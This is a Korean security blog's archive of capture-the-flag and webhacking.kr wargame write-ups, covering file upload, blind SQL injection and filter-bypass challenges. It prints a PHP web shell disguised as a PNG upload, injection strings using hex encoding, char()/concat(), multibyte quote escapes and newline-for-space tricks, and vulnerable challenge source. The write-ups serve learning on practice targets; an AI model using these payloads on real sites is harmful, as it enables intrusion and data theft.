sweetchip's blog

0x10 정보보안/0x16 Web 13건이 검색되었습니다.


문제 파일은 url 과 so 파일이었다.


so 파일은 업로드 할때 해킹방지 보안 솔루션같은 필터였고 url은 미디어를 올리는 업로드 사이트였다.


url로 들어가보면 php 소스가 있고 그 소스를 확인해보면 경로 http://ip/uploads/md5(ip)/ 에 업로드가 되는 방식이었다.


하지만 이곳에 간단한 파일 업로드 취약점이 존재한다.


처음엔 php 파일을 그대로 올리려고 했지만 자꾸 해킹하지 마세요가 뜨길래


아래와 같이 헤더를 변조 시켰다.



content-type 부분을 이미지로 바꾸고 파일이름은 php로 지정하고 아래와 같이 post로 날렸다.


-----------------------------8546194317856

Content-Disposition: form-data; name="data"; filename="subtle_white_feathers.php"

Content-Type: image/png


system("dir ../../../../home/dwh300/");

?>


system("cat ../../../../home/dwh300/flags");

?>

-----------------------------8546194317856--

(위 코드는 몇번 디렉터리를 뒤지고 난 다음에 완성된 코드이다.)


png로 변조시켜 마치 png 파일을 업로드 하는것 같지만 안타깝게도 실제로는 php를 업로드하여 서버는 곧 햌킹을 당할것이다.


업로드에 성공하고 php에 접근했다.


/home/dwh300/ 에 flag 파일이 존재했고 그 파일을 cat 으로 열어보니 아래와 같이 나왔다.


2번째줄 끝으로 가보면 key 가 있다.


Flag : !!xx_^s0m3th1ng wr0ng^_yy!!


다른분은 php를 그냥 업로드 했다는데 왜 안됬을까 고민햇지만 어쩃든 풀렸으니 됫다.

신고

'0x10 정보보안 > 0x16 Web' 카테고리의 다른 글

Secuinside 2013 Secure web write-up  (0) 2013.05.29
webhacking.kr All Clear  (5) 2013.05.19
H.U.S.T 2012 WEB 5번 문제 풀이.  (0) 2013.01.01
webhacking.kr 2번 그리고 13번  (9) 2012.12.07
webhacking.kr 29번  (8) 2012.12.05
webhacking.kr 40번  (11) 2012.11.29

댓글 0





9번 문제는 현재 닫혀있네요..


그래서 은글슬쩍 올클이라고 우겨봅니다 ㅋㅋ


갑자기 아이디어가 떠오른것과 약간 도움을 받아서 문제들을 해결했습니다~


좋은 문제들을 출제해주신 올좀님 감사합니다~


곧 새로운 문제가 나온다니 기대되네요 ㅎㅎ

신고

'0x10 정보보안 > 0x16 Web' 카테고리의 다른 글

Secuinside 2013 Secure web write-up  (0) 2013.05.29
webhacking.kr All Clear  (5) 2013.05.19
H.U.S.T 2012 WEB 5번 문제 풀이.  (0) 2013.01.01
webhacking.kr 2번 그리고 13번  (9) 2012.12.07
webhacking.kr 29번  (8) 2012.12.05
webhacking.kr 40번  (11) 2012.11.29

Comment 5

안녕하세요 sweetchip입니다.


한달전 치뤄진 hust의 문제중 웹문제를 풀이해보려 합니다.


sql injection 문제인데, 상당히 많은 곳에서 헤맷네요 ㅋㅋ



이 페이지는 가입 페이지입니다.


원래 문제는 로그인 페이지 등등 여러개가 있엇는데, 이부분에서 취약점이 일어나서 이부분만 캡쳐했습니다.


제가 확인한것은 SEX 부분에서 필터링 부재로 인한 blind Sql Injection 취약점이 나타나게 됩니다.


문제는 아무 힌트가 없엇던 상태에서 어떻게 하는거냐엿는데


스키마가 필터링 되어있지 않아서 information_schema.columns 를 이용했습니다.


HOBBY_STR=1//&USER_ID=p&USER_PWD=p&USER_PWD_CHK=p&SEX=1=(if((select ascii(substr(COLUMN_NAME,6,1)) from information_schema.COLUMNS where TABLE_NAME = '[임의 삭제]' limit 1,1)>112,2,1))&MARRY=N&HOBBY=1


하지만 이것도 삽질만 하다가 포기.


그리고 잠시뒤 힌트가 나온뒤 다시한번 시도했습니다.


힌트의 내용은 'war_key' 가 테이블 이름이었습니다.


information_schema에 다시한번 blind sql injection 을 시도했습니다.


그 결과 키가 담겨 있는것이라 추측되는 칼럼의 이름도 똑같이 'war_key' 라는 것을 알아냈고 즉시 blind sql injection 을 시도했습니다.


C#으로 자동화 툴을 만들어서 인젝션을 시도했습니다.



직접 아스키 코드와 비교하면서... ㅋㅋ


그 결과.. 꽤나 많은 글자가 나온것을 본순간..;


약간의 멘붕과 함께 답을 인증했습니다.


80 P

114 r

101 e

115 s

105 i

100 d

101 e

110 n

116 t

95 _

111 o

102 f

95 _

72 H

85 U

83 S

84 T

95 _

105 i

115 s

95 _

66 B

111 o

116 t

104 h

101 e

114 r

95 _

77 M

101 e


Password Is President_of_HUST_is_Bother_Me


감사합니다.


새해첫 포스팅이네요


새해복 많이 받으세요

신고

'0x10 정보보안 > 0x16 Web' 카테고리의 다른 글

Secuinside 2013 Secure web write-up  (0) 2013.05.29
webhacking.kr All Clear  (5) 2013.05.19
H.U.S.T 2012 WEB 5번 문제 풀이.  (0) 2013.01.01
webhacking.kr 2번 그리고 13번  (9) 2012.12.07
webhacking.kr 29번  (8) 2012.12.05
webhacking.kr 40번  (11) 2012.11.29

댓글 0



webhacking.kr 2번과 13번을 며칠간 고민 끝에 풀었습니다.


도저히 감을 못잡겟어서 구글에 검색한 결과 약간 힌트를 얻고 풀게 되었습니다.


1. index.php 를 잘 보세요 :D

2. 이 문제는 blind sql injection 문제입니다.

3. 게싱문제 입니다. 그냥 직관적인것을 쓰면 됩니다. 페이지 이곳 저곳을 둘러보시는게 매우 도움이 됩니다.


위 대로 하면 뭔가 막히는게 있을겁니다.


그리고 결정적인 힌트!

힌트


이정도면 어느정도 고민하시면 푸실수 있을겁니다.


화이팅 :D



13번은 극악의 필터링을 자랑하는 문제입니다 ㅠ-ㅠ


많이 힘들었던 문제인데... 헤매는 분들을 위해서 몇가지 힌트를 드리겠습니다.


1. 이 문제는 blind sql injection 입니다.

2. 다른 문제와 비슷하게 풀면되나, 필터링이 더 강력합니다.

3. 기존의 인젝션 방법으로 안된다면 다른 문법을 알아보셔야 합니다


그리고 대부분 위 방법을 사용하셨다면 훼이크가 있을겁니다.


저는 그 훼이크 때문에 좀 많이 힘들었습니다 ㅠㅠ


그 훼이크를 잘 극복 하신다면 진짜 답을 구하실수 있습니다.


위 두문제를 풀고 48위로 넘어오게 되었네요 :D




신고

'0x10 정보보안 > 0x16 Web' 카테고리의 다른 글

webhacking.kr All Clear  (5) 2013.05.19
H.U.S.T 2012 WEB 5번 문제 풀이.  (0) 2013.01.01
webhacking.kr 2번 그리고 13번  (9) 2012.12.07
webhacking.kr 29번  (8) 2012.12.05
webhacking.kr 40번  (11) 2012.11.29
webhacking.kr 57번  (0) 2012.11.28

Comment 9

  • 2013.04.24 21:03 수정 답글

    비밀댓글입니다

  • 2013.05.11 12:06 수정 답글

    비밀댓글입니다

    • 2013.05.12 22:56 신고 수정

      아.. 이 문제를 푼지가 상당히 오래되엇네요..
      그래서 잘 기억이 안나기는하는데.. 테이블이나 컬럼은 직접 가르쳐 드릴순 없구요,
      힌트를 드리자면.. 쿠키로 하는것 맞구요!
      하나 더 드리자면 게시판입니다!

      자세한 쿼리값은 가르쳐 드릴수 없는것을 이해해주시길 바랍니다 ㅠ

  • 2013.05.22 02:01 수정 답글

    비밀댓글입니다

    • 2013.05.22 15:55 신고 수정

      힌트는 in과 서브쿼리 입니다.

      그리고 주어진 것만을 잘 이용하셔야 합니다. 잘못된 것을 주진 않겟죠?

  • .
    2013.07.29 17:42 신고 수정 답글

    훼이크라기 보다는 SQL 이 case sensitive 가 아니라 A == a 이기 때문에 벌어지는 일입니다

  • pjw
    2014.02.24 19:59 신고 수정 답글

    다 풀긴 했는데 html파일에서 한글이 깨졌는지 비밀번호밖에 안보이는데 그 비밀번호를 어디다가 넣어야하나요?


아~ 드디어 갑자기 삘이 와서 29번을 풀게 되었습니다.




위가 성공시의 화면입니다. 답부분은 모자이크 처리를 해뒀습니다. ㅎㅎ




hint

select password from challenge_29_answer

$file_name=str_replace(".","",$file_name);

blind sql injection으로 풀이하실경우 정답이 출력되지 않습니다.

더 간단한 방법이 존재하니 그 방법을 이용해주세요.



일단 이 문제는 Blind Sql Injection 이 절대 아닙니다.


blind 로 풀어도 해결이 안된다고 합니다.


위에서 제시 했듯이 정말 간단한 방법이 존재합니다.


뭐.. 칼럼명에 테이블명까지 줬으니 모두다 끝난 이야기죠 ㅎㅎ


하지만 위 힌트로도 힘들었을 분을 위해서 힌트를 드리겠습니다.


파일 업로드를 하면 지금까지 업로드 했던것을 볼수 있습니다. 그런고로 insert 문을 예상해볼수 있습니다.


그렇다면 insert 에 대한 Sql injection의 쿼리를 예상해봐야 하고,


일단 업로드 하고 나오는 테이블을 보면 time/ip/filename 순으로 출력하지만 insert 쿼리를 넣을때와는 순서가 다를수 있습니다..


또한 ip가 있는걸 보아 ip에 대한 체크를 할것입니다.


마지막 힌트는 Sub Query 에 대해 알아보시면 될것 같습니다.


감사합니다.


모르시면 질문으

신고

'0x10 정보보안 > 0x16 Web' 카테고리의 다른 글

H.U.S.T 2012 WEB 5번 문제 풀이.  (0) 2013.01.01
webhacking.kr 2번 그리고 13번  (9) 2012.12.07
webhacking.kr 29번  (8) 2012.12.05
webhacking.kr 40번  (11) 2012.11.29
webhacking.kr 57번  (0) 2012.11.28
Webhacking.kr 55번 중간 풀이.  (10) 2012.11.05

Comment 8

  • 2013.07.18 04:05 수정 답글

    비밀댓글입니다

  • Sonic
    2013.09.05 13:31 신고 수정 답글

    어디다가 인젝션 해야하는지 잘모르겟네요..
    insert문에 sub query로 쿼리공격 하는거인거는 감이오는데..

  • 2013.09.05 13:33 수정 답글

    비밀댓글입니다

    • 2013.09.11 18:10 신고 수정

      총 3개가 insert 되는데 마음대로 바꿀수 잇는건 1개밖에 없을것 같네요

  • 2013.12.01 11:41 수정 답글

    비밀댓글입니다

    • 2013.12.01 20:30 신고 수정

      아,. 이게 1년 반정도 전이라서 잘 기억이 안나네요.. ㅎㅎ;

  • 2013.12.10 17:24 수정 답글

    비밀댓글입니다

  • 2013.12.11 15:57 수정 답글

    비밀댓글입니다


안녕하세요 pgnsc 입니다.


며칠동안 헤매던 것을 다시 바로 잡고 어이없는곳에서 착각해서 해맸네요 =_=


이번편에서는 간단히 힌트만 드리겠습니다.


자신이 푸는것이 곧 실력 향상이니까요 :D




문제를 들어간 기본적인 페이지입니다.


Blind Sql Injection 문제입니다.


* int형 변수는 대비를 안할경우 Sql injection 에 매우 취약합니다.




어느 쿼리를 삽입하다보면 다음과 같이 admin password 를 넣는 부분이 나옵니다.


이부분은 일단 admin에 로그인을 했다는 뜻입니다.


ascii 가 필터링 되어있고 다른 블로거분은 hex 함수를 사용하지 말라고 하셨습니다.


저도 공감합니다; 푸는도중 오류가 있었습니다... ㅠㅠ


hex를 안써도 0x00 같이 하실수 있는것 다 아시지요?


마지막!


정답은 특수문자와 소문자입니다.


문제풀이 도중에 대문자가 나오기도 하나[저의 경우]


인증할땐 소문자로 인증해야더군요^^ 참고하세요.


감사합니다

신고

'0x10 정보보안 > 0x16 Web' 카테고리의 다른 글

webhacking.kr 2번 그리고 13번  (9) 2012.12.07
webhacking.kr 29번  (8) 2012.12.05
webhacking.kr 40번  (11) 2012.11.29
webhacking.kr 57번  (0) 2012.11.28
Webhacking.kr 55번 중간 풀이.  (10) 2012.11.05
webhacking.kr 49번 write up  (5) 2012.11.05

Comment 11

  • 2013.04.25 19:39 수정 답글

    비밀댓글입니다

    • 2013.04.27 11:28 신고 수정

      다른 형태보다 발견이 쉽고 변조가 쉽다는 뜻이었습니다 ㅎㅎ;

  • 2013.05.17 22:12 수정 답글

    비밀댓글입니다

    • 2013.05.18 20:12 신고 수정

      제 기억상으론... int 형으로 들어가는 부분이었던것 같습니다. 그냥 여러 구문을 넣으시다 보면 될겁니다... 자세한 쿼리는 이 문제를 작년에 풀어서 기억이 나질 않네요.. ㅠ-ㅠ...

  • 2013.05.20 18:41 수정 답글

    비밀댓글입니다

  • 2013.08.20 00:20 수정 답글

    비밀댓글입니다

    • 2013.08.20 00:31 신고 수정

      ^^; 아마 어드민이 속한 번호를 해야 하지 않을까요...
      오래전에 풀어서 잘 기억이 안나네요 ㅠ-ㅠ

  • 2013.09.01 16:48 수정 답글

    비밀댓글입니다

  • 2014.04.15 18:48 수정 답글

    비밀댓글입니다

    • 2014.04.26 00:05 신고 수정

      이미 해결하셨겟지만.. 푼지 오래되서 키값이 없어서 정확한 정보를 모릅니다.
      감사합니다


안녕하세요 pgnsc 입니다.



시간이 날때마다 webhacking.kr 문제를 풀어보고 있는데 이게 쉬운게 아니네요 ㅋㅋ



힌트를 보실분은 아래 힌트를 눌러주세요



힌트



* 본인이 스스로 연구를 하셔야 실력향상이 됩니다.


한번더 생각하시고 아래를 읽어주세요







Source Code



Challenge 57


$secret_key="????";

if(
time()>1309064400) exit("오후 2시에 공개됩니다.");

if(
$_POST[pw])
{

if(
$_POST[pw]==$secret_key)
{
mysql_query("delete from challenge57msg");
@
solve();
exit();
}

}


if(
$_GET[msg] && $_GET[se])
{
if(
eregi("from|union|select|and|or|not|&|\||benchmark",$_GET[se])) exit("Access Denied");

mysql_query("insert into challenge57msg(id,msg,pw,op) values('$_SESSION[id]','$_GET[msg]','$secret_key',$_GET[se])");
echo(
"Done

"
);
}

?>






message
secretyes

no




Secret key :






phps





Thanks to BlueH4g








PHPS 를 눌러보면 다음과 같은 소스가 존재합니다.


POST형식으로 키값을 검사하고 맞다면 통과시키는 문제입니다.


처음에 저는 방향을 insert 문을 조작시키고 secret 키를 조작해서 인증하는건줄 알았는데 아니더군요


이제부터 직접 풀이하지 않겠습니다.


sleep 함수를 이용하시면 정말 딱 아실수 있습니다


감사합니다.

신고

'0x10 정보보안 > 0x16 Web' 카테고리의 다른 글

webhacking.kr 29번  (8) 2012.12.05
webhacking.kr 40번  (11) 2012.11.29
webhacking.kr 57번  (0) 2012.11.28
Webhacking.kr 55번 중간 풀이.  (10) 2012.11.05
webhacking.kr 49번 write up  (5) 2012.11.05
Webhacking.kr 46번 write up  (2) 2012.11.04

댓글 0



저에게 크나큰 멘붕과 새로운것을 알게해준 문제입니다.


역시 sql 문제는 할게 못됩니다 흑흑흑


힌트만 보실 분은 힌트를 눌러주세요


힌트










중간 풀이

// 12 11 05

// 멘붕데이


먼저 문제 55번에 들어가면 다음과 같은 화면이 나옵니다



이쁜 구더기가 마우스를 따라다니다가 잡아먹습니다.


잡아먹히지 않기위해서 피하면서 점수를 올려야 합니다.


게임은 이 문제 풀면서 머리 아플때 하세요 ㅋㅋ



그리고 엄청난 숫자를 지니신 굇수분들의 숫자가 나옵니다


그리고 score 의 파라미터로 점수를 날리면 아이디를 띄워주는데, 이부분에서 취약점이 발생됩니다.


이번에 사용할 공격은 Blind Sql Injection 공격입니다.


이제 그러면 하나하나 찾아야 겠는데,


소스보기를 하면



라고 하네요.


이제 필터링 되는 것들을 알아야 하는데 phps 그런건 없습니다.


그냥 하나하나 넣어야지요.


ascii 안됩니다.


substr 안됩니다.


substring 안됩니다.


union 안되구요


select 도 마찬가지입니다.


그러면 information_schema 문제는 아닙니다.


이렇게 저는 첫번째 멘붕이 시작되었습니다.


그래서 어느 분의 블로그를 보자 procedure analyse() 를 끝에 붙이면 db, table, column 을 볼수 있다고 하셨습니다.


결과를 보자, oldzombi2.challenge55_game.ip 라는 값이 나왔습니다.


앗싸.. 하지만 여기서 두번째 멘붕이 시작됩니다.


ip 라는 칼럼밖에 안나오는데...


하지만 limit 를 이용하면 가능합니다. [재미를 위해서 정확한 풀이는 담지 않겠습니다.]


위 limit 를 이용하면 다음과 같은 칼럼 추출이 가능합니다.


[참고로 length 로 답의 글자수도 추출 가능합니다.]





앞의 세글자만 봐도 대문자 소문자가 섞여있는것 같이 보입니다 [일부 모자이크]


이제 칼럼명은 모두다 구했습니다.


blind sql injection 을 시도해야 합니다.


답은 저 pas@@@... 칼럼 안에 있구요,


BSI[blind sql injection]의 값이 거짓이라면 다음과 같은 id 를 토해냅니다.



반면 참이라면 다음과 같은 아이디를 토해냅니다.



[쿼리에 따라 달라질수 있으니 유의 **]


하지만 인젝션을 잘 보니


ascii 도 막혀있고, sub .. 들도 막혀있습니다.


이것으로 세번째 멘붕이..


하지만 세번째는 그닥 오래가지 않았습니다.


my sql 의 left right 함수를 알게 되고, char이 안되니 0x헥스값 형태로 값을 비교 해서 인젝션 했습니다.


left 함수는 substr 함수와 달라서 약간 생각이 필요합니다.


저는 자동화 프로그램을 만들어서 3분 정도 인젝션 끝에 hex 코드 표로 대조한뒤


답을 인증했습니다.




에휴.. 힘드네요 ㅋ


신고

'0x10 정보보안 > 0x16 Web' 카테고리의 다른 글

webhacking.kr 40번  (11) 2012.11.29
webhacking.kr 57번  (0) 2012.11.28
Webhacking.kr 55번 중간 풀이.  (10) 2012.11.05
webhacking.kr 49번 write up  (5) 2012.11.05
Webhacking.kr 46번 write up  (2) 2012.11.04
Webhacking.kr 37번 Write up  (2) 2012.11.04

Comment 10

  • 안녕하세요.^^
    이 글에 대한건 아니고 궁금한게 있는데요,,,
    옆에 따라다니는 뷰온과 뷰 구독 한Rss 구독 버튼은 어떻게 만드는건가요?
    포토샵으로 만들어놓긴 헀는데 적용하는법을 모르겟네요..^^;;

    • 2012.11.13 08:22 신고 수정

      흠... 저도 다른 분 강좌를보고 한거라서 기억이 잘안나네요 ㅠㅠ

  • 2013.02.12 22:45 수정 답글

    비밀댓글입니다

    • 2013.02.13 14:24 신고 수정

      죄송합니다. ㅠ-ㅠ
      푼지좀 많이 된거라 기억이 확실하게 잘 안나네요..;
      프로시져 저거는 저때만 써먹은거라 나중에 시간날때 다시 풀고 답글 달아드리겠습니다.

  • 2013.05.17 22:21 수정 답글

    비밀댓글입니다

    • 2013.05.18 20:14 신고 수정

      혹시 테이블 값이 아닐까요?
      기억이 잘 안나지만.. 왠지 더 길었던것 같습니다... [아닐수도 있습니다.]
      조금더 연구해보세요! 이것역시 오래전에 풀엇던거라서..;; 확답을 드릴수 없네요.. ㅠㅠ

  • 2013.05.23 10:59 수정 답글

    비밀댓글입니다

    • 2013.05.22 16:28 신고 수정

      답은 대문자 + 특수문자 + 숫자 나 소문자 + 특수문자 + 숫자 입니다.

      그리고 답은 20자리가 맞습니다.

      감사합니다.

  • 2013.05.23 11:23 수정 답글

    비밀댓글입니다

이번에는 49번을 풀어보겠습니다.


바로 이 직전에 했던 문제와 98% 비슷한 문제입니다.


약간 필터링이 더해진 것뿐입니다.


힌트만 보실분은 아래에 힌트를 눌러주세요 :D


힌트






그러면 바로 소스 분석으로 들어가보겠습니다.


<?
if(time()<1258110000) exit();

if(
$_GET[lv])
{
if(
eregi("union",$_GET[lv])) exit();
if(
eregi("from",$_GET[lv])) exit();
if(
eregi("select",$_GET[lv])) exit();
if(
eregi("or",$_GET[lv])) exit();
if(
eregi("and",$_GET[lv])) exit();
if(
eregi("\(",$_GET[lv])) exit();
if(
eregi("\)",$_GET[lv])) exit();
if(
eregi("limit",$_GET[lv])) exit();
if(
eregi(",",$_GET[lv])) exit();
if(
eregi("/",$_GET[lv])) exit();
if(
eregi("by",$_GET[lv])) exit();
if(
eregi("desc",$_GET[lv])) exit();
if(
eregi("asc",$_GET[lv])) exit();
if(
eregi("cash",$_GET[lv])) exit();
if(
eregi(" ",$_GET[lv])) exit();
if(
eregi("%",$_GET[lv])) exit();
if(
eregi("%09",$_GET[lv])) exit(); // 필터링

$q=@mysql_fetch_array(mysql_query("select id from zmail_member where lv=$_GET[lv]")); 

echo(
$q[0]);
if(
$q[0]=="admin") @solve(); //admin

}

?>


이번에도 역시 매우 간단한 소스들입니다.


하지만 이전 비슷한 문제보다 더 많은 필터링을 하고 있습니다.


우리의 최종목표는 admin으로 접속하는 것입니다.


지난번엔 concat()을 이용해서 admin으로 했지만, 이번에는 ( 도 )도 ',' 도 죄다 필터링을 합니다.


그리고 or 도 필터링하니 말 다했네요 ㅠ-ㅠ


하지만 우회 방법이 있습니다.


프로그래밍을 해본분이라면 다 알만한 || <- or 이라는 뜻입니다.


||의 특징은 or 처럼 띄어쓰기를 하지 않아도 된다는 것입니다.


= 은 따로 필터링 하지 않으니 바꿀 필요는 없습니다.


문제는 admin을 어떻게 집어넣느냐 인데, 바로 Hex 를 이용하면 가능합니다.


0xFF 이런형식으로 집어넣을수 있습니다.


admin => 0x61646d696e


공격 구문을 간단하게 생각해보면


123 or id=admin


이런식으로 하면 됩니다.


위에 말씀드린 것을 바탕으로 시도하면 문제가 풀립니다.


저작자 표시 비영리 변경 금지
신고

'0x10 정보보안 > 0x16 Web' 카테고리의 다른 글

webhacking.kr 57번  (0) 2012.11.28
Webhacking.kr 55번 중간 풀이.  (10) 2012.11.05
webhacking.kr 49번 write up  (5) 2012.11.05
Webhacking.kr 46번 write up  (2) 2012.11.04
Webhacking.kr 37번 Write up  (2) 2012.11.04
webhacking.kr 45번 write up  (2) 2012.11.02

Comment 5

  • 2013.04.25 18:20 수정 답글

    비밀댓글입니다

    • 2013.04.25 19:03 신고 수정

      확실하짅 않지만.. 아마 띄어쓰기로 넘어가서 그러지 않을까 하네요..
      다른것도 아마 안걸릴겁니다.

  • 2013.05.08 23:35 수정 답글

    비밀댓글입니다

    • 2013.05.10 20:40 신고 수정

      음.. 그것에 대해서는 확실히는 몰라서 정확히 집어서 답변을 드리긴 어려울것 같습니다... ㅠㅠ

  • 2013.11.15 02:08 수정 답글

    비밀댓글입니다


안녕하세요


요즘 sql injection을 주로 공부중인데 이거 참 정말 어렵네요 ㅋㅋ


뭐 이리 쿼리들이 어려운지 참.. ㅠ-ㅠ


한문제 푸는데 삽질과 삽질을 하면서 몇시간씩 지나갑니다.


46번 힌트를 얻으러 오신분께는 아래 힌트를 눌러주세요


힌트














Write up

// 12.11.04

// webhacking.kr problem. 46







전형적인 sql injection 입니다.


제출을 눌러보면 레벨이 1인 koang님의 정보가 나오고 머니는 137989이 나옵니다.


2를 눌러보면 zzibong 님의 결과가 나오고 무려 10,000,000 천만 이라는 엄청난 숫자가 눈에 띕니다.




그러나 3을 눌러보면 아무것도 없습니다.


자 이제 index.phps 를 분석해봅시다.



<?

if(time()<1256900400) exit();

?>
<!-- index.phps -->
<?

$_GET
[lv]=str_replace(" ","",$_GET[lv]);
$_GET[lv]=str_replace("/","",$_GET[lv]);
$_GET[lv]=str_replace("*","",$_GET[lv]);
$_GET[lv]=str_replace("%","",$_GET[lv]); // 문자열 제거 루틴

if(
eregi("union",$_GET[lv])) exit();
if(
eregi("select",$_GET[lv])) exit();
if(
eregi("from",$_GET[lv])) exit();
if(
eregi("challenge",$_GET[lv])) exit();
if(
eregi("0x",$_GET[lv])) exit();
if(
eregi("limit",$_GET[lv])) exit();
if(
eregi("cash",$_GET[lv])) exit(); // 문자열 확인시 실행중지

$q=@mysql_fetch_array(mysql_query("select id,cash from zmail_member where lv=$_GET[lv]"));

if(
$q && $_GET[lv]) // 쿼리가 성립시
{
echo(
"$q[0] information<br><br>money : $q[1]");

if(
$q[0]=="admin") @solve(); // 아이디가 admin이라면 solve

}
?>


간단한 소스입니다.


마지막에서 4번째줄을 보면 최종 목표는 아이디를 admin으로 만들어야 합니다.


제가 며칠전에 쓴 [번호는 기억이..] write up과 매우 유사한 문제입니다.


이제 공격 구문을 생각을 해보면


공백은 무효처리가 되므로 %20은 코드에 넣을수 없습니다.


하지만 공백 우회로 %0a가 가능합니다 [%가 필터링 되지만 주소창에 직접 넣으면 넘어갈때 줄바꿈으로 넘어가서 관계업습니다.]


그리고 = 은 따로 필터링 하지 않으니 그냥 사용할것이고 지난번 write up에 사용되었던 concat() 과 char() 을 사용하겠습니다.


Quary


3 or id=concat(char(a),char(d),char(m),char(i),char(n)) [char() 안의 알파벳은 아스키코드로 변환되어야 합니다.]


결과.



이번 편에서는 지난번에 풀었던 문제와 비슷해서 간략하게 진행되었습니다.

저작자 표시 비영리 변경 금지
신고

'0x10 정보보안 > 0x16 Web' 카테고리의 다른 글

Webhacking.kr 55번 중간 풀이.  (10) 2012.11.05
webhacking.kr 49번 write up  (5) 2012.11.05
Webhacking.kr 46번 write up  (2) 2012.11.04
Webhacking.kr 37번 Write up  (2) 2012.11.04
webhacking.kr 45번 write up  (2) 2012.11.02
webhacking.kr Challenge 22 Write up.  (2) 2012.11.01

Comment 2

  • 2013.05.08 23:02 수정 답글

    비밀댓글입니다

    • 2013.05.10 20:37 신고 수정

      1. admin으로 직접 되지 않아 따로 concat을 사용했습니다.
      만약 admin이 먹힌다면 그대로 사용해도 됩니다.

      2. %0a 같은 경우 hex로 0a 값은 줄바꿈이라는 것인데, 공격을할때 %0a를 넣으면 실제론 DB서버에선 줄바꿈으로 인식한다는 뜻입니다.


드디어 안풀리던 원인을 갑자기 생각난 것에 깨달음을 가지고 시도해봤더니 바로됬다.


기존에 취약점 찾는데 돌리는 아파치의 포트를 7777로 바꿔주고 문제를 푸니 제대로 풀린것이다.


소스 대로라면 분명히 맞을텐데 안풀려서 의아하던 차에 아파치에게 도움을 받으면 되겟다는것을 생각햇다 ㅋㅋ


힌트만 보실분은 힌트를 보세요!


힌트












////Write up

//// 2012/11/04




---------------------------------------------- php source



$pw
="???";

$time=time(); // 현재 시간 - 타임스탬프


$f=fopen("tmp/tmp-$time","w"); // 파일생성
fwrite($f,"127.0.0.1");
fclose($f);


$fck=@file("tmp/.number");

if(
$fck) $fck=$fck[0];
if(!
$fck) $fck=0;

$fck ;

$f2=fopen("tmp/.number","w"); // 파일개수
fwrite($f2,$fck);
fclose($f2);

$file_nm=$HTTP_POST_FILES[upfile][name]; //파일 이름 필터링
$file_nm=str_replace("<","",$file_nm);
$file_nm=str_replace(">","",$file_nm);
$file_nm=str_replace(".","",$file_nm);
$file_nm=str_replace(" ","",$file_nm);

if(
$file_nm)
{
$f=@fopen("tmp/$file_nm","w"); //업로드된 파일에 서버에 접속된 아이피를 적음
@
fwrite($f,$_SERVER[REMOTE_ADDR]);
@
fclose($f);
}




echo(
"

");

$kk=scandir("tmp");

for(
$i=0;$i<=count($kk);$i )
{
echo(
"$kk[$i]\n");
}

echo(
"
");





$ck=file("tmp/tmp-$time");
$ck=$ck[0];

$request="GET /$pw HTTP/1.0\r\n"; // 헤더설정
$request.="Host: $ck\r\n"; // 파일내부의 아이피에게 패킷을 쏴버린다
$request.="\r\n";

$socket=@fsockopen($ck,7777,$errstr,$errno,1); // 포트는 7777

@
fputs($socket,$request); // 쏘세요!

@
fclose($socket); // 소켓클로즈

echo(
"$ck:7777
"
); // 아이피:7777

if(
$fck>=30) // 30개 이상의 파일이 생성되면
{
$kk=scandir("tmp");

for(
$i=0;$i<=count($kk);$i )
{
@
unlink("tmp/$kk[$i]"); //삭제.
}

}

?>


---------------------------------------------------------




자 위의 주석을 보시고 연구해 보세요!


일단 tmp-타임스탬프시간 으로 파일이 생성이 됩니다.


그리고 그 파일 안에 적힌 ip를 호스트로 7777포트로 해답을 쏴줍니다.


그러므로 우리가 먼저 저 파일을 선수쳐서 등록한다음 [예를들어서 13519550554를 미리 올려두고]


저시간이 일치하는 순간 f5를 누르면 자신의 아이피:7777로 패킷이 자동으로 쏴집니다.


타이밍을 잘 노려야 합니다 1초!



그렇게 타이밍을 잘캐치하시면 저렇게 쏴진 패스워드가 보입니다 저걸 인증하면 성공 :D

신고

'0x10 정보보안 > 0x16 Web' 카테고리의 다른 글

Webhacking.kr 55번 중간 풀이.  (10) 2012.11.05
webhacking.kr 49번 write up  (5) 2012.11.05
Webhacking.kr 46번 write up  (2) 2012.11.04
Webhacking.kr 37번 Write up  (2) 2012.11.04
webhacking.kr 45번 write up  (2) 2012.11.02
webhacking.kr Challenge 22 Write up.  (2) 2012.11.01

Comment 2

  • sdf
    2014.02.03 13:11 신고 수정 답글

    패킷을 받을시에 왜 아파치가 필요하죠??

    • 2014.02.03 18:26 신고 수정

      서버가 있어야 정보를 받을수 있기 떄문입니다.
      nc로도 가능하겠군요!

안녕하세요 pgnsc 입니다.


webhacking.kr 의 45번을 다시한번 풀게되면서 블로그에 기록을 남겨봅니다.


힌트만 얻고 싶으신분은 아래 버튼을 눌러주세요 :D


힌트
















Write Up ---------------------

// 2012.11.02



제일먼저 들어가면 sql injection 문제라고 친절하게 알려주는 페이지가 있습니다.


자.. 일단 소스보기를 하면 index.phps 를 보라고 합니다.


------------------------------------------ index.phps - php source code


if(time()<1256900400) exit();
?>




$pw
="?????";

if(
$_GET[id] && $_GET[pw])
{

$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');

$data=@mysql_fetch_array(mysql_query("select id from zmail_member where id='$_GET[id]' and pw=md5('$_GET[pw]')"));

if(
eregi("admin",$_GET[id])) exit();
if(
eregi("from",$_GET[id])) exit();
if(
eregi("union",$_GET[id])) exit();
if(
eregi("limit",$_GET[id])) exit();
if(
eregi("union",$_GET[pw])) exit();
if(
eregi("pw",$_GET[pw])) exit();
if(
eregi("=",$_GET[pw])) exit();
if(
eregi(">",$_GET[pw])) exit();
if(
eregi("<",$_GET[pw])) exit();


if(
$data)
{
echo(
"hi $data[0]

"
);

if(
$data[0]=="admin") @solve();
}


if(!
$data)
{
echo(
"Wrong");
}

}

?>


-----------------------------------------------------


여러 문자열을 검열하네요..


목표는 넘겨진 아이디가 최종 admin이 되어야 합니다.


그런데 인코딩 변환중에서 취약점이 발생하게 됩니다.


http://luxs1t.tistory.com/19 을 참고해주세요


암튼 인젝션을 시도해보면


asd' or id = concat(admin)# 의 구문으로 시도해야 합니다.


상황에 맞게 인코딩을 하면.


asd�' or id like concat(char(97),char(100),char(109),char(105),char(110))#






문제 해결 ^^


신고

'0x10 정보보안 > 0x16 Web' 카테고리의 다른 글

Webhacking.kr 55번 중간 풀이.  (10) 2012.11.05
webhacking.kr 49번 write up  (5) 2012.11.05
Webhacking.kr 46번 write up  (2) 2012.11.04
Webhacking.kr 37번 Write up  (2) 2012.11.04
webhacking.kr 45번 write up  (2) 2012.11.02
webhacking.kr Challenge 22 Write up.  (2) 2012.11.01

Comment 2

  • 행인
    2014.05.09 13:37 신고 수정 답글

